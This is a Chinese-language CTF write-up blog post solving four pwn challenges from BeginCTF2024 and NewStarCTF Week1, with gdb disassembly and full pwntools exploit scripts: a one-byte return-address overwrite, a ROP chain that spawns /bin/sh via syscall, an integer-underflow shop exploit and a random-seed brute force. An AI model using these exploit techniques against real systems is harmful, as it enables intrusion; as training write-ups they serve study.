碎碎念
咱就一纯小白,以为带了Begin这一单词的CTF能对我仁慈一点,结果吧,太喜欢了,被狠狠拷打,从头自闭到尾,属于是从这次比赛又狠狠学习到不少知识了
废话不多说,上正文嘞
BeginCTF
One_byte
checksec
嗯,基本啥都开了,喜欢捏。但是尊贵的CTFer,该“源审,启动!”了
可以看到两个read,一个是从buf里读取1字节"flag"(千万不要跟我一样傻到以为是灌输据的地方,是3不是0),也对应了题目,第二个read能读取0x12个字节,除此之外啥也没了。基于上述保护机制,栈溢出属于是没法用的,那就再找找咯。
找一找就发现问题所在了,"flag"文件一直处于open状态而没有close过,那么要是我们能循环main函数,那么第一个read函数就能一直往后读取"flag"。那么我们的思路就是明了了,将ret地址修改到调用main函数之前。
gdb时间!
可以看到main函数的返回地址是__libc_start_call_main + 128,我们只要把它覆盖掉就好,再来反编译它,太长了直接CV
0x00007ffff7daed10 <+0>: push rax
0x00007ffff7daed11 <+1>: pop rax
0x00007ffff7daed12 <+2>: sub rsp,0x98
0x00007ffff7daed19 <+9>: mov QWORD PTR [rsp+0x8],rdi
0x00007ffff7daed1e <+14>: lea rdi,[rsp+0x20]
0x00007ffff7daed23 <+19>: mov DWORD PTR [rsp+0x14],esi
0x00007ffff7daed27 <+23>: mov QWORD PTR [rsp+0x18],rdx
0x00007ffff7daed2c <+28>: mov rax,QWORD PTR fs:0x28
0x00007ffff7daed35 <+37>: mov QWORD PTR [rsp+0x88],rax
0x00007ffff7daed3d <+45>: xor eax,eax
0x00007ffff7daed3f <+47>: call 0x7ffff7dc71e0 <_setjmp>
0x00007ffff7daed44 <+52>: endbr64
0x00007ffff7daed48 <+56>: test eax,eax
0x00007ffff7daed4a <+58>: jne 0x7ffff7daed97 <__libc_start_call_main+135>
0x00007ffff7daed4c <+60>: mov rax,QWORD PTR fs:0x300
0x00007ffff7daed55 <+69>: mov QWORD PTR [rsp+0x68],rax
0x00007ffff7daed5a <+74>: mov rax,QWORD PTR fs:0x2f8
0x00007ffff7daed63 <+83>: mov QWORD PTR [rsp+0x70],rax
0x00007ffff7daed68 <+88>: lea rax,[rsp+0x20]
0x00007ffff7daed6d <+93>: mov QWORD PTR fs:0x300,rax
0x00007ffff7daed76 <+102>: mov rax,QWORD PTR [rip+0x1f023b] # 0x7ffff7f9efb8
0x00007ffff7daed7d <+109>: mov edi,DWORD PTR [rsp+0x14]
0x00007ffff7daed81 <+113>: mov rsi,QWORD PTR [rsp+0x18]
0x00007ffff7daed86 <+118>: mov rdx,QWORD PTR [rax]
0x00007ffff7daed89 <+121>: mov rax,QWORD PTR [rsp+0x8]
0x00007ffff7daed8e <+126>: call rax
0x00007ffff7daed90 <+128>: mov edi,eax
0x00007ffff7daed92 <+130>: call 0x7ffff7dca5f0 <__GI_exit>
0x00007ffff7daed97 <+135>: call 0x7ffff7e165f0 <__GI___nptl_deallocate_tsd>
0x00007ffff7daed9c <+140>: lock dec DWORD PTR [rip+0x1f0505] # 0x7ffff7f9f2a8 <__nptl_nthreads>
0x00007ffff7daeda3 <+147>: sete al
0x00007ffff7daeda6 <+150>: test al,al
0x00007ffff7daeda8 <+152>: jne 0x7ffff7daedb8 <__libc_start_call_main+168>
0x00007ffff7daedaa <+154>: mov edx,0x3c
0x00007ffff7daedaf <+159>: nop
0x00007ffff7daedb0 <+160>: xor edi,edi
0x00007ffff7daedb2 <+162>: mov eax,edx
0x00007ffff7daedb4 <+164>: syscall
0x00007ffff7daedb6 <+166>: jmp 0x7ffff7daedb0 <__libc_start_call_main+160>
0x00007ffff7daedb8 <+168>: xor edi,edi
0x00007ffff7daedba <+170>: jmp 0x7ffff7daed92 <__libc_start_call_main+130>
我们可以发现,在+126处调用了rax,那么我们使用在它之前的地址就好,也就是mov rax,QWORD PTR [rsp+0x8]
这里,它的最低字节地址为89,所以我们使用\x89
即可(毕竟libc_start_main一般可是最早调用的函数呢)
payload如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('101.32.220.189',30415)
#p = process('./one_byte')
go_back_main = '\x89'
payload = b'a' * 0x11 + b'\x89'
flag = ''
for i in range(50):
p.recvuntil('Here is your gift:')
flag += p.recv(1).decode()
p.recvuntil('Are you satisfied with the result?\n')
p.sendline(payload)
print(flag)
p.interactive()
感想
最开始做这道题的时候,我是不懂还能劫持main函数的返回地址的,一直思索怎么循环main函数而不解其道,被平时的思维给限制住了,又被PIE保护给吓到了。不过说到底还是见题太少了,其实就是简单栈溢出的一点点变形,把平时ret到system地址变成了libc_start_call_main的地址而已,我太笨了(悲)
gift_rop
checksec
开启了NX保护和Canary,再代码审计
发现这是个静态编译的ELF文件,且能够在data段内找到bin/sh,意味着有大量的rop链可供我们使用,主要思路就是要构造rop链执行bin/sh
ROP链构造
因为太多了我就截图一些关键的
ROPgadget里的ropchain模块可以快速构造rop链(适用于静态编译),我们只需把后面的add rax 1 ; ret
修改成add rax 2 ; ret'
和add rax 3 ; ret
的地址就好,凑到59执行syscall。至于为什么不一直叠add rax 1 ; ret
,这是因为main函数里read只能读取512个字节,而一直叠 rax 1会导致字节溢出,没法用syscall调用exceve函数执行bin/sh
payload
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#elf = process('../gift_rop')
elf = remote('101.32.220.189',30432)
from struct import pack
# Padding goes here
p = b''
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f20b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471267) # add rax, 2 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall
elf.sendlineafter(b'checkin problem.\n',b'a'*(0x20 + 0x08) + p)
elf.interactive()
PS:其实用pwntools里提供的rop函数会更加快捷,但是我还并不熟悉它的函数使用效果,所以就用这种比较原始的方法硬叠起来
在getshell后,别忘了用文件重定向exec 1>&0
,因为在main函数里close(1)和clsoe(2)关闭了标准输出流和错误输出流,相当于你什么也看不到了,需要重定向标准输出
还有,在本地打是没办法打通的,根据官方wp的说法,pwntools在发现交互的程序标准输出和标准错误输出之后会报[*] Got EOF while reading in interactive
,本地是无法成功的
感想
这是我学习以来第一次写静态编译的题,也是我第一次使用ropchain和文件重定向,算是get到了新的姿势。不过我有一个问题,为什么它都溢出了但是Canary没有把它拦下来反而让他继续往后执行了,这也是我一开始做的时候不敢下手的原因
NewSTarCTF Week1
newstar_shop
源审
我就截几张比较关键的图
可以看到,提示给的很明显。因为money的数据类型是unsigned int,所以只要把它变为负值,它就会从2^32-1开始减掉,就可以购买shell了。所以现在我们就是要想办法如何把money花完并且欠账,那么我们只需要知道money的初始值并且花掉就好,万幸,初始值是给了的,就是64
payload
其实已经差不多了,直接nc随便买个商品然后再去don't try里扣钱,那么我们就是超级大富翁了,就可以购买shell了
如果你真想用脚本那也是有
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node5.buuoj.cn',28207)
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'3')
p.sendline(b'1')
p.sendline(b'3')
p.interactive()
感想
其实算是比较简单的整数溢出题,但是开始的时候我都忘了don't try可以扣钱,还在想着怎么才能成为逆向大富翁,属于是考察细心程度了
Random
代码审计
题如其名,随机数,也给了后门函数,把command变成$0即可,就是需要动点脑筋
思路
在v6等于v8的情况下,我们要使得v9[v4 %2] == $
且v3 =-= 0
,而v9是个数组,当且仅当v4 % 2 == 1
和v3 % 5 == 2
时,可以得到$0
。因为随机数种子为0,所以我们不仅需要获得对应libc,还要进行多次爆破才有可能恰好满足三者的条件
payload
from pwn import *
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
for i in range(1000):
p = remote('node5.buuoj.cn',28116)
mylibc = cdll.LoadLibrary('libc.so.6')
mylibc.srand(mylibc.time(0))
try:
v6 = mylibc.rand()
v3 = mylibc.rand()
v4 = mylibc.rand()
if((v3%5 == 2)and(v4%2 == 1)):
p.sendline(str(v6))
p.interactive()
except:
continue
finally:
p.close()
sleep(1)
感想
这道题主要考察的就时ctypes库的应用,再稍微动一点点脑筋就可以解出来了。不过好久没用过ctypes里了都有些生疏要上网查如何使用了(悲
想了解ctypes的师傅们看看这位佬的博客~
标签:rsp,NewStar,mov,QWORD,pwn,main,BeginCTF2024,PTR,rax From: https://www.cnblogs.com/falling-dusk/p/18047791